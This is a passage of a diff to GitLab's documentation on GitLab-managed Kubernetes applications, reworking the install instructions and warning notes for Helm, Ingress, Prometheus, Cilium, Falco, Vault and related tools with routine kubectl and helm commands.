-JupyterLab's Git extension stores the user token in the JupyterHub DB in encrypted
-format, and in the single user Jupyter instance as plain text, because
-[Git requires storing credentials as plain text](https://git-scm.com/docs/git-credential-store)
-Potentially, if a nefarious user finds a way to read from the file system in the
-single-user Jupyter instance, they could retrieve the token.
-
-![Jupyter's Git Extension](img/jupyter-git-extension.gif)
-
-You can clone repositories from the files tab in Jupyter:
-
-![Jupyter clone repository](img/jupyter-gitclone.png)
-
-### Knative
-
-> - Introduced in GitLab 11.5 for project-level clusters.
-> - Introduced in GitLab 12.3 for group- and instance-level clusters.
-
-[Knative](https://cloud.google.com/knative/) provides a platform to
-create, deploy, and manage serverless workloads from a Kubernetes
-cluster. It's used in conjunction with, and includes
-[Istio](https://istio.io) to provide an external IP address for all
-programs hosted by Knative.
-
-The [`knative/knative`](https://storage.googleapis.com/triggermesh-charts)
-chart is used to install this application.
-
-During installation, you must enter a wildcard domain where your applications
-will be exposed. Configure your DNS server to use the external IP address for that
-domain. Applications created and installed are accessible as
-`<program_name>.<kubernetes_namespace>.<domain_name>`, which requires
-your Kubernetes cluster to have
-[RBAC enabled](../project/clusters/add_remove_clusters.md#rbac-cluster-resources).
-
-### Prometheus
-
-> - Introduced in GitLab 10.4 for project-level clusters.
-> - Introduced in GitLab 11.11 for group-level clusters.
-
-[Prometheus](https://prometheus.io/docs/introduction/overview/) is an
-open-source monitoring and alerting system useful to supervise your
-deployed applications.
-
-GitLab is able to monitor applications by using the
-[Prometheus integration](../project/integrations/prometheus.md). Kubernetes container CPU and
-memory metrics are collected, and response metrics are also retrieved
-from NGINX Ingress.
-
-The [`stable/prometheus`](https://github.com/helm/charts/tree/master/stable/prometheus)
-chart is used to install this application with a
-[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/prometheus/values.yaml)
-file.
-
-To enable monitoring, install Prometheus into the cluster with the **Install**
-button.
-
-### Crossplane
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34702) in GitLab 12.5 for project-level clusters.
-
-[Crossplane](https://crossplane.github.io/docs/v0.9/) is a multi-cloud control plane useful for
-managing applications and infrastructure across multiple clouds. It extends the
-Kubernetes API using:
-
-- Custom resources.
-- Controllers that watch those custom resources.
-
-Crossplane allows provisioning and lifecycle management of infrastructure components
-across cloud providers in a uniform manner by abstracting cloud provider-specific
-configurations.
-
-The Crossplane GitLab-managed application:
-
-- Installs Crossplane with a provider of choice on a Kubernetes cluster attached to the
- project repository.
-- Can then be used to provision infrastructure or managed applications such as
- PostgreSQL (for example, CloudSQL from GCP or RDS from AWS) and other services
- required by the application with the Auto DevOps pipeline.
-
-[`alpha/crossplane`](https://github.com/crossplane/crossplane/tree/v0.4.1/cluster/charts/crossplane) chart v0.4.1 is used to
-install Crossplane using the
-[`values.yaml`](https://github.com/crossplane/crossplane/blob/master/cluster/charts/crossplane/values.yaml.tmpl)
-file.
-
-For information about configuring Crossplane installed on the cluster, see
-[Crossplane configuration](crossplane.md).
-
-### Elastic Stack
-
-> Introduced in GitLab 12.7 for project- and group-level clusters.
-
-[Elastic Stack](https://www.elastic.co/elastic-stack) is a complete end-to-end
-log analysis solution which helps in deep searching, analyzing and visualizing the logs
-generated from different machines.
-
-GitLab can gather logs from pods in your cluster. Filebeat runs as a DaemonSet
-on each node in your cluster, and ships container logs to Elasticsearch for
-querying. GitLab then connects to Elasticsearch for logs, instead of the
-Kubernetes API, giving you access to more advanced querying capabilities. Log
-data is deleted after 30 days, using [Curator](https://www.elastic.co/guide/en/elasticsearch/client/curator/5.5/about.html).
-
-The Elastic Stack cluster application is intended as a log aggregation solution
-and is not related to our [Advanced Search](../search/advanced_global_search.md)
-functionality, which uses a separate Elasticsearch cluster.
-
-To enable log shipping:
-
-1. Ensure your cluster contains at least three nodes of instance types larger
- than `f1-micro`, `g1-small`, or `n1-standard-1`.
-1. Navigate to **Operations > Kubernetes**.
-1. In **Kubernetes Cluster**, select a cluster.
-1. In the **Applications** section, find **Elastic Stack**, and then select
- **Install**.
-
-The [`gitlab/elastic-stack`](https://gitlab.com/gitlab-org/charts/elastic-stack)
-chart is used to install this application with a
-[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/elastic_stack/values.yaml)
-file. The chart deploys three identical Elasticsearch pods which can't be
-colocated, and each requires one CPU and 2 GB of RAM, making them
-incompatible with clusters containing fewer than three nodes, or consisting of
-`f1-micro`, `g1-small`, `n1-standard-1`, or `*-highcpu-2` instance types.
-
-#### Optional: deploy Kibana to perform advanced queries
-
-If you are an advanced user and have direct access to your Kubernetes cluster using `kubectl` and `helm`, you can deploy Kibana manually.
-
-The following assumes that `helm` has been [initialized](https://v2.helm.sh/docs/helm/) with `helm init`.
-
-Save the following to `kibana.yml`:
-
-```yaml
-elasticsearch:
- enabled: false
-
-filebeat:
- enabled: false
-
-kibana:
- enabled: true
- elasticsearchHosts: http://elastic-stack-elasticsearch-master.gitlab-managed-apps.svc.cluster.local:9200
-```
-
-Then install it on your cluster:
-
-```shell
-helm repo add gitlab https://charts.gitlab.io
-helm install --name kibana gitlab/elastic-stack --values kibana.yml
-```
-
-To access Kibana, forward the port to your local machine:
-
-```shell
-kubectl port-forward svc/kibana-kibana 5601:5601
-```
-
-Then, you can visit Kibana at `http://localhost:5601`.
-
-### Fluentd
-
-> Introduced in GitLab 12.10 for project- and group-level clusters.
-
-[Fluentd](https://www.fluentd.org/) is an open source data collector, which enables
-you to unify the data collection and consumption to better use and understand
-your data. Fluentd sends logs in syslog format.
-
-To enable Fluentd:
-
-1. Navigate to **Operations > Kubernetes** and click
- **Applications**. Enter a host, port, and protocol
- for sending the WAF logs with syslog.
-1. Provide the host domain name or URL in **SIEM Hostname**.
-1. Provide the host port number in **SIEM Port**.
-1. Select a **SIEM Protocol**.
-1. Select at least one of the available logs (such as WAF or Cilium).
-1. Click **Save changes**.
-
-![Fluentd input fields](img/fluentd_v13_0.png)
-
-### Future apps
-
-Interested in contributing a new GitLab managed app? Visit the
-[development guidelines page](../../development/kubernetes.md#gitlab-managed-apps)
-to get started.
-
-## Install using GitLab CI/CD (alpha)
+## Install using GitLab CI/CD
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20822) in GitLab 12.6.
-CAUTION: **Warning:**
+WARNING:
This is an _alpha_ feature, and is subject to change at any time without
prior notice.
@@ -664,14 +85,15 @@ applications you have configured. In case of pipeline failure, the
output of the [Helm Tiller](https://v2.helm.sh/docs/install/#running-tiller-locally) binary
is saved as a [CI job artifact](../../ci/pipelines/job_artifacts.md).
+#### Usage in GitLab versions earlier than 13.5
+
For GitLab versions 13.5 and below, the Ingress, Fluentd, Prometheus,
-and Sentry apps are fetched from the central Helm [stable
-repository](https://kubernetes-charts.storage.googleapis.com/), which
-will be [deleted](https://github.com/helm/charts#deprecation-timeline)
-on November 13, 2020. This will cause the installation CI/CD pipeline to
+and Sentry apps are fetched from the central Helm
+[stable repository](https://kubernetes-charts.storage.googleapis.com/). This repository
+[was deleted](https://github.com/helm/charts#deprecation-timeline)
+on November 13, 2020. This causes the installation CI/CD pipeline to
fail. Upgrade to GitLab 13.6, or alternatively, you can
-use the following `.gitlab-ci.yml`, which has been tested on GitLab
-13.5:
+use the following `.gitlab-ci.yml`, which has been tested on GitLab 13.5:
```yaml
include:
@@ -738,7 +160,7 @@ for the available configuration options.
Support for installing the Ingress managed application is provided by the GitLab Configure group.
If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new),
and ping at least 2 people from the
-[Configure group](https://about.gitlab.com/handbook/product/product-categories/#configure-group).
+[Configure group](https://about.gitlab.com/handbook/product/categories/#configure-group).
### Install cert-manager using GitLab CI/CD
@@ -782,7 +204,7 @@ Support for installing the Cert Manager managed application is provided by the
GitLab Configure group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
least 2 people from the
-[Configure group](https://about.gitlab.com/handbook/product/product-categories/#configure-group).
+[Configure group](https://about.gitlab.com/handbook/product/categories/#configure-group).
### Install Sentry using GitLab CI/CD
@@ -809,7 +231,7 @@ for the available configuration options.
We recommend you pay close attention to the following configuration options:
- `email`. Needed to invite users to your Sentry instance and to send error emails.
-- `user`. Where you can set the login credentials for the default admin user.
+- `user`. Where you can set the login credentials for the default administrator user.
- `postgresql`. For a PostgreSQL password that can be used when running future updates.
When upgrading, it's important to provide the existing PostgreSQL password (given
@@ -851,7 +273,7 @@ Support for installing the Sentry managed application is provided by the
GitLab Health group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
least 2 people from the
-[Health group](https://about.gitlab.com/handbook/product/product-categories/#health-group).
+[Health group](https://about.gitlab.com/handbook/product/categories/#health-group).
### Install PostHog using GitLab CI/CD
@@ -867,8 +289,8 @@ posthog:
You can customize the installation of PostHog by defining `.gitlab/managed-apps/posthog/values.yaml`
in your cluster management project. Refer to the
-[Configuration section of the PostHog chart's README](https://github.com/PostHog/charts/tree/master/charts/posthog)
-for the available configuration options.
+[Configuration section](https://github.com/PostHog/charts/tree/master/charts/posthog)
+of the PostHog chart's README for the available configuration options.
You must provide a PostgreSQL password in `postgresql.postgresqlPassword`
to avoid authentication errors. Read the
@@ -922,13 +344,13 @@ prometheus:
You can customize the installation of Prometheus by defining
`.gitlab/managed-apps/prometheus/values.yaml` in your cluster management
project. Refer to the
-[Configuration section of the Prometheus chart's README](https://github.com/helm/charts/tree/master/stable/prometheus#configuration)
-for the available configuration options.
+[Configuration section](https://github.com/helm/charts/tree/master/stable/prometheus#configuration)
+of the Prometheus chart's README for the available configuration options.
Support for installing the Prometheus managed application is provided by the
GitLab APM group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
-least 2 people from the [APM group](https://about.gitlab.com/handbook/product/product-categories/#apm-group).
+least 2 people from the [APM group](https://about.gitlab.com/handbook/product/categories/#apm-group).
### Install GitLab Runner using GitLab CI/CD
@@ -966,7 +388,7 @@ Support for installing the GitLab Runner managed application is provided by the
GitLab Runner group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
least 2 people from the
-[Runner group](https://about.gitlab.com/handbook/product/product-categories/#runner-group).
+[Runner group](https://about.gitlab.com/handbook/product/categories/#runner-group).
### Install Cilium using GitLab CI/CD
@@ -977,7 +399,8 @@ support for [NetworkPolicy](https://kubernetes.io/docs/concepts/services-network
resources. For more information, see [Network Policies](../../topics/autodevops/stages.md#network-policy).
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview, see the [Container Network Security Demo for GitLab 12.8](https://www.youtube.com/watch?v=pgUEdhdhoUI).
+For an overview, see the
+[Container Network Security Demo for GitLab 12.8](https://www.youtube.com/watch?v=pgUEdhdhoUI).
Enable Cilium in the `.gitlab/managed-apps/config.yaml` file to install it:
@@ -1008,14 +431,14 @@ You can check Cilium's installation status on the cluster management page:
- [Group-level cluster](../group/clusters/index.md): Navigate to your group's
**Kubernetes** page.
-CAUTION: **Caution:**
+WARNING:
Installation and removal of the Cilium requires a **manual**
[restart](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-gke/#restart-unmanaged-pods)
of all affected pods in all namespaces to ensure that they are
[managed](https://docs.cilium.io/en/v1.8/operations/troubleshooting/#ensure-managed-pod)
by the correct networking plugin.
-NOTE: **Note:**
+NOTE:
Major upgrades might require additional setup steps. For more information, see
the official [upgrade guide](https://docs.cilium.io/en/v1.8/operations/upgrade/).
@@ -1050,9 +473,9 @@ agent:
enabled: false
```
-The [Hubble](https://github.com/cilium/hubble) monitoring daemon is
-enabled by default and it's set to collect per namespace flow
-metrics. This metrics are accessible on the [Threat Monitoring](../application_security/threat_monitoring/index.md)
+The [Hubble](https://github.com/cilium/hubble) monitoring daemon is enabled by default
+and it's set to collect per namespace flow metrics. This metrics are accessible on the
+[Threat Monitoring](../application_security/threat_monitoring/index.md)
dashboard. You can disable Hubble by adding the following to
`.gitlab/managed-apps/cilium/values.yaml`:
@@ -1078,7 +501,7 @@ Support for installing the Cilium managed application is provided by the
GitLab Container Security group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
least 2 people from the
-[Container Security group](https://about.gitlab.com/handbook/product/product-categories/#container-security-group).
+[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group).
### Install Falco using GitLab CI/CD
@@ -1103,7 +526,7 @@ management project. Refer to the
[Falco chart](https://github.com/falcosecurity/charts/tree/master/falco)
for the available configuration options.
-CAUTION: **Caution:**
+WARNING:
By default eBPF support is enabled and Falco uses an
[eBPF probe](https://falco.org/docs/event-sources/drivers/#using-the-ebpf-probe)
to pass system calls to user space. If your cluster doesn't support this, you can
@@ -1120,8 +543,8 @@ isn't pre-compiled, you may need to manually prepare the kernel module or eBPF p
[`driverkit`](https://github.com/falcosecurity/driverkit#against-a-kubernetes-cluster)
and install it on each cluster node.
-By default, Falco is deployed with a limited set of rules. To add more rules, add the following to
-`.gitlab/managed-apps/falco/values.yaml` (you can get examples from
+By default, Falco is deployed with a limited set of rules. To add more rules, add
+the following to `.gitlab/managed-apps/falco/values.yaml` (you can get examples from
[Cloud Native Security Hub](https://securityhub.dev/)):
```yaml
@@ -1174,7 +597,7 @@ Support for installing the Falco managed application is provided by the
GitLab Container Security group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
least 2 people from the
-[Container Security group](https://about.gitlab.com/handbook/product/product-categories/#container-security-group).
+[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group).
### Install Vault using GitLab CI/CD
@@ -1256,12 +679,12 @@ server:
}
```
-Once you have successfully installed Vault, you must
+After you have successfully installed Vault, you must
[initialize the Vault](https://learn.hashicorp.com/tutorials/vault/getting-started-deploy#initializing-the-vault)
and obtain the initial root token. You need access to your Kubernetes cluster that
Vault has been deployed into in order to do this. To initialize the Vault, get a
shell to one of the Vault pods running inside Kubernetes (typically this is done
-by using the `kubectl` command line tool). Once you have a shell into the pod,
+by using the `kubectl` command line tool). After you have a shell into the pod,
run the `vault operator init` command:
```shell
@@ -1276,7 +699,7 @@ Support for installing the Vault managed application is provided by the
GitLab Release Management group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
least 2 people from the
-[Release Management group](https://about.gitlab.com/handbook/product/product-categories/#release-management-group).
+[Release Management group](https://about.gitlab.com/handbook/product/categories/#release-management-group).
### Install JupyterHub using GitLab CI/CD
@@ -1333,7 +756,7 @@ Support for installing the JupyterHub managed application is provided by the Git
If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
least 2 people from the
-[Configure group](https://about.gitlab.com/handbook/product/product-categories/#configure-group).
+[Configure group](https://about.gitlab.com/handbook/product/categories/#configure-group).
### Install Elastic Stack using GitLab CI/CD
@@ -1361,7 +784,7 @@ management project. Refer to the
[chart](https://gitlab.com/gitlab-org/charts/elastic-stack) for all
available configuration options.
-NOTE: **Note:**
+NOTE:
In this alpha implementation of installing Elastic Stack through CI, reading the
environment logs through Elasticsearch is unsupported. This is supported if
[installed with the UI](#elastic-stack).
@@ -1369,7 +792,7 @@ environment logs through Elasticsearch is unsupported. This is supported if
Support for installing the Elastic Stack managed application is provided by the
GitLab APM group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
-least 2 people from the [APM group](https://about.gitlab.com/handbook/product/product-categories/#apm-group).
+least 2 people from the [APM group](https://about.gitlab.com/handbook/product/categories/#apm-group).
### Install Crossplane using GitLab CI/CD
@@ -1394,8 +817,9 @@ we set for this chart.
You can customize the installation of Crossplane by defining
`.gitlab/managed-apps/crossplane/values.yaml` file in your cluster
management project. Refer to the
-[chart](https://github.com/crossplane/crossplane/tree/master/cluster/charts/crossplane#configuration) for the
-available configuration options. Note that this link points to the documentation for the current development release, which may differ from the version you have installed.
+[chart](https://github.com/crossplane/crossplane/tree/master/cluster/charts/crossplane#configuration)
+for the available configuration options. Note that this link points to the documentation
+for the current development release, which may differ from the version you have installed.
Support for the Crossplane managed application is provided by the Crossplane team.
If you run into issues,
@@ -1419,8 +843,8 @@ You can also review the default values set for this chart in the
You can customize the installation of Fluentd by defining
`.gitlab/managed-apps/fluentd/values.yaml` file in your cluster management
project. Refer to the
-[configuration chart for the current development release of Fluentd](https://github.com/helm/charts/tree/master/stable/fluentd#configuration)
-for all available configuration options.
+[configuration chart](https://github.com/helm/charts/tree/master/stable/fluentd#configuration)
+for the current development release of Fluentd for all available configuration options.
The configuration chart link points to the current development release, which
may differ from the version you have installed. To ensure compatibility, switch
@@ -1430,7 +854,7 @@ Support for installing the Fluentd managed application is provided by the
GitLab Container Security group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
least 2 people from the
-[Container Security group](https://about.gitlab.com/handbook/product/product-categories/#container-security-group).
+[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group).
### Install Knative using GitLab CI/CD
@@ -1459,11 +883,12 @@ Support for installing the Knative managed application is provided by the
GitLab Configure group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at
least 2 people from the
-[Configure group](https://about.gitlab.com/handbook/product/product-categories/#configure-group).
+[Configure group](https://about.gitlab.com/handbook/product/categories/#configure-group).
#### Knative Metrics
-GitLab provides [Invocation Metrics](../project/clusters/serverless/index.md#invocation-metrics) for your functions. To collect these metrics, you must have:
+GitLab provides [Invocation Metrics](../project/clusters/serverless/index.md#invocation-metrics)
+for your functions. To collect these metrics, you must have:
1. Knative and Prometheus managed applications installed on your cluster.
1. Manually applied the custom metrics on your cluster by running the following command:
@@ -1520,7 +945,8 @@ podAnnotations:
```
The only information to be changed here is the profile name which is `profile-one`
-in this example. Refer to the [AppArmor tutorial](https://kubernetes.io/docs/tutorials/clusters/apparmor/#securing-a-pod)
+in this example. Refer to the
+[AppArmor tutorial](https://kubernetes.io/docs/tutorials/clusters/apparmor/#securing-a-pod)
for more information on how AppArmor is integrated in Kubernetes.
#### Using PodSecurityPolicy in your deployments
@@ -1563,13 +989,600 @@ Support for installing the AppArmor managed application is provided by the
GitLab Container Security group. If you run into unknown issues,
[open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping
at least 2 people from the
-[Container Security group](https://about.gitlab.com/handbook/product/product-categories/#container-security-group).
+[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group).
## Browse applications logs
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36769) in GitLab 13.2.
-Logs produced by pods running **GitLab Managed Apps** can be browsed using [**Log Explorer**](../project/clusters/kubernetes_pod_logs.md).
+Logs produced by pods running **GitLab Managed Apps** can be browsed using
+[**Log Explorer**](../project/clusters/kubernetes_pod_logs.md).
+
+## Install with one click
+
+WARNING:
+The one click installation method is scheduled for removal in GitLab 14.0. The removal
+of this feature from GitLab does not affect installed applications to avoid breaking
+changes. Following GitLab 14.0, users can take ownership of already installed applications
+using our documentation.
+
+Applications managed by GitLab are installed onto the `gitlab-managed-apps`
+namespace. This namespace:
+
+- Is different from the namespace used for project deployments.
+- Is created once.
+- Has a non-configurable name.
+
+To view a list of available applications to install for a:
+
+- [Project-level cluster](../project/clusters/index.md), navigate to your project's
+ **Operations > Kubernetes**.
+- [Group-level cluster](../group/clusters/index.md), navigate to your group's
+ **Kubernetes** page.
+
+You can install the following applications with one click:
+
+- [Helm](#helm)
+- [Ingress](#ingress)
+- [cert-manager](#cert-manager)
+- [Prometheus](#prometheus)
+- [GitLab Runner](#gitlab-runner)
+- [JupyterHub](#jupyterhub)
+- [Knative](#knative)
+- [Crossplane](#crossplane)
+- [Elastic Stack](#elastic-stack)
+- [Fluentd](#fluentd)
+
+With the exception of Knative, the applications are installed in a dedicated
+namespace called `gitlab-managed-apps`.
+
+Some applications are installable only for a project-level cluster.
+Support for installing these applications in a group-level cluster is
+planned for future releases.
+For updates, see the [issue tracking progress](https://gitlab.com/gitlab-org/gitlab/-/issues/24411).
+
+WARNING:
+If you have an existing Kubernetes cluster with Helm already installed,
+you should be careful as GitLab cannot detect it. In this case, installing
+Helm with the applications results in the cluster having it twice, which
+can lead to confusion during deployments.
+
+In GitLab versions 11.6 and greater, Helm is upgraded to the latest version
+supported by GitLab before installing any of the applications.
+
+### Helm
+
+> - Introduced in GitLab 10.2 for project-level clusters.
+> - Introduced in GitLab 11.6 for group-level clusters.
+> - [Uses a local Tiller](https://gitlab.com/gitlab-org/gitlab/-/issues/209736) in GitLab 13.2 and later.
+> - [Uses Helm 3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46267) for clusters created with GitLab 13.6 and later.
+> - [Offers legacy Tiller removal](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47457) in GitLab 13.7 and later.
+
+[Helm](https://helm.sh/docs/) is a package manager for Kubernetes and is
+used to install the GitLab-managed apps. GitLab runs each `helm` command
+in a pod in the `gitlab-managed-apps` namespace inside the cluster.
+
+- For clusters created on GitLab 13.6 and newer, GitLab uses Helm 3 to manage
+ applications.
+- For clusters created on versions of GitLab prior to 13.6, GitLab uses Helm 2
+ with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. Prior
+ to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736), GitLab
+ used an in-cluster Tiller server in the `gitlab-managed-apps` namespace. You
+ can safely uninstall the server from the GitLab application page if you have
+ previously installed it. This doesn't affect your other applications.
+
+The GitLab Helm integration does not support installing applications behind a proxy,
+but a [workaround](../../topics/autodevops/index.md#install-applications-behind-a-proxy)
+is available.
+
+#### Upgrade a cluster to Helm 3
+
+GitLab does not offer a way to migrate existing application management
+on existing clusters from Helm 2 to Helm 3. To migrate a cluster to Helm 3:
+
+1. Uninstall all applications on your cluster.
+1. [Remove the cluster integration](../project/clusters/add_remove_clusters.md#removing-integration).
+1. [Re-add the cluster](../project/clusters/add_remove_clusters.md#existing-kubernetes-cluster) as
+ an existing cluster.
+
+### cert-manager
+
+> Introduced in GitLab 11.6 for project- and group-level clusters.
+
+[cert-manager](https://cert-manager.io/docs/) is a native Kubernetes certificate
+management controller that helps with issuing certificates. Installing
+cert-manager on your cluster issues a certificate by [Let's Encrypt](https://letsencrypt.org/)
+and ensures that certificates are valid and up-to-date.
+
+The chart used to install this application depends on the version of GitLab used. In:
+
+- GitLab 12.3 and newer, the [`jetstack/cert-manager`](https://github.com/jetstack/cert-manager)
+ chart is used with a
+ [`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/cert_manager/values.yaml)
+ file.
+- GitLab 12.2 and older, the
+ [`stable/cert-manager`](https://github.com/helm/charts/tree/master/stable/cert-manager)
+ chart was used.
+
+If you installed cert-manager prior to GitLab 12.3, Let's Encrypt
+[blocks requests](https://community.letsencrypt.org/t/blocking-old-cert-manager-versions/98753)
+from older versions of `cert-manager`. To resolve this:
+
+1. [Back up any additional configuration](https://cert-manager.io/docs/tutorials/backup/).
+1. Uninstall cert-manager.
+1. Install cert-manager again.
+
+### GitLab Runner
+
+> - Introduced in GitLab 10.6 for project-level clusters.
+> - Introduced in GitLab 11.10 for group-level clusters.
+
+[GitLab Runner](https://docs.gitlab.com/runner/) is the open source project that
+is used to run your jobs and send the results back to GitLab. It's used in
+conjunction with [GitLab CI/CD](../../ci/README.md), the open-source continuous
+integration service included with GitLab that coordinates the jobs.
+
+If the project is on GitLab.com, [shared runners](../gitlab_com/index.md#shared-runners)
+are available. You don't have to deploy one if they are enough for your
+needs. If a project-specific runner is desired, or there are no shared runners,
+you can deploy one.
+
+The deployed runner is set as **privileged**. Root access to the underlying
+server is required to build Docker images, so it's the default. Be sure to read
+the [security implications](../project/clusters/index.md#security-implications)
+before deploying one.
+
+The [`runner/gitlab-runner`](https://gitlab.com/gitlab-org/charts/gitlab-runner)
+chart is used to install this application, using
+[a preconfigured `values.yaml`](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/master/values.yaml)
+file. Customizing the installation by modifying this file is not supported. This
+also means you cannot modify `config.toml` file for this Runner. If you want to
+have that possibility and still deploy Runner in Kubernetes, consider using the
+[Cluster management project](management_project.md) or installing Runner manually
+via [GitLab Runner Helm Chart](https://docs.gitlab.com/runner/install/kubernetes.html).
+
+### Ingress
+
+> - Introduced in GitLab 10.2 for project-level clusters.
+> - Introduced in GitLab 11.6 for group-level clusters.
+
+[Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/)
+provides load balancing, SSL termination, and name-based virtual hosting
+out of the box. It acts as a web proxy for your applications and is useful
+if you want to use [Auto DevOps](../../topics/autodevops/index.md) or deploy your own web apps.
+
+The Ingress Controller installed is
+[Ingress-NGINX](https://kubernetes.io/docs/concepts/services-networking/ingress/),
+which is supported by the Kubernetes community.
+
+With the following procedure, a load balancer must be installed in your cluster
+to obtain the endpoint. You can use either
+Ingress, or Knative's own load balancer ([Istio](https://istio.io)) if using Knative.
+
+To publish your web application, you first need to find the endpoint, which is either an IP
+address or a hostname associated with your load balancer.
+
+To install it, click on the **Install** button for Ingress. GitLab attempts
+to determine the external endpoint and it should be available in a few minutes.
+
+#### Determining the external endpoint automatically
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17052) in GitLab 10.6.
+
+After you install Ingress, the external endpoint should be available in a few minutes.
+
+NOTE:
+This endpoint can be used for the
+[Auto DevOps base domain](../../topics/autodevops/index.md#auto-devops-base-domain)
+using the `KUBE_INGRESS_BASE_DOMAIN` environment variable.
+
+If the endpoint doesn't appear and your cluster runs on Google Kubernetes Engine:
+
+1. [Examine your Kubernetes cluster](https://console.cloud.google.com/kubernetes)
+ on Google Kubernetes Engine to ensure there are no errors on its nodes.
+1. Ensure you have enough [Quotas](https://console.cloud.google.com/iam-admin/quotas)
+ on Google Kubernetes Engine. For more information, see
+ [Resource Quotas](https://cloud.google.com/compute/quotas).
+1. Review [Google Cloud's Status](https://status.cloud.google.com/) for service
+ disruptions.
+
+The [`stable/nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress)
+chart is used to install this application with a
+[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/ingress/values.yaml)
+file.
+
+After installing, you may see a `?` for **Ingress IP Address** depending on the
+cloud provider. For EKS specifically, this is because the ELB is created
+with a DNS name, not an IP address. If GitLab is still unable to
+determine the endpoint of your Ingress or Knative application, you can
+[determine it manually](#determining-the-external-endpoint-manually).
+
+#### Determining the external endpoint manually
+
+If the cluster is on GKE, click the **Google Kubernetes Engine** link in the
+**Advanced settings**, or go directly to the
+[Google Kubernetes Engine dashboard](https://console.cloud.google.com/kubernetes/)
+and select the proper project and cluster. Then click **Connect** and execute
+the `gcloud` command in a local terminal or using the **Cloud Shell**.
+
+If the cluster is not on GKE, follow the specific instructions for your
+Kubernetes provider to configure `kubectl` with the right credentials.
+The output of the following examples show the external endpoint of your
+cluster. This information can then be used to set up DNS entries and forwarding
+rules that allow external access to your deployed applications.
+
+- If you installed Ingress using the **Applications**, run the following
+ command:
+
+ ```shell
+ kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].ip}'
+ ```
+
+- Some Kubernetes clusters return a hostname instead, like
+ [Amazon EKS](https://aws.amazon.com/eks/). For these platforms, run:
+
+ ```shell
+ kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].hostname}'
+ ```
+
+ If EKS is used, an [Elastic Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/)
+ is also created, which incurs additional AWS costs.
+
+- For Istio/Knative, the command is different:
+
+ ```shell
+ kubectl get svc --namespace=istio-system istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip} '
+ ```
+
+- Otherwise, you can list the IP addresses of all load balancers:
+
+ ```shell
+ kubectl get svc --all-namespaces -o jsonpath='{range.items[?(@.status.loadBalancer.ingress)]}{.status.loadBalancer.ingress[*].ip} '
+ ```
+
+You may see a trailing `%` on some Kubernetes versions. Do not include it.
+
+The Ingress is now available at this address, and routes incoming requests to
+the proper service based on the DNS name in the request. To support this, create
+a wildcard DNS CNAME record for the desired domain name. For example,
+`*.myekscluster.com` would point to the Ingress hostname obtained earlier.
+
+#### Using a static IP
+
+By default, an ephemeral external IP address is associated to the cluster's load
+balancer. If you associate the ephemeral IP with your DNS and the IP changes,
+your apps aren't reachable, and you'd have to change the DNS record again.
+To avoid that, change it into a static reserved IP.
+
+Read how to [promote an ephemeral external IP address in GKE](https://cloud.google.com/compute/docs/ip-addresses/reserve-static-external-ip-address#promote_ephemeral_ip).
+
+#### Pointing your DNS at the external endpoint
+
+After you have set up the external endpoint, associate it with a
+[wildcard DNS record](https://en.wikipedia.org/wiki/Wildcard_DNS_record) (such
+as `*.example.com.`) to reach your apps. If your external endpoint is an IP
+address, use an A record. If your external endpoint is a hostname, use a CNAME
+record.
+
+#### Web Application Firewall (ModSecurity)
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21966) in GitLab 12.7.
+
+A Web Application Firewall (WAF) examines traffic being sent or received,
+and can block malicious traffic before it reaches your application. The benefits
+of a WAF are:
+
+- Real-time security monitoring for your application.
+- Logging of all your HTTP traffic to the application.
+- Access control for your application.
+- Highly configurable logging and blocking rules.
+
+By default, GitLab provides you with a WAF known as [`ModSecurity`](https://www.modsecurity.org/),
+which is a toolkit for real-time web application monitoring, logging, and access
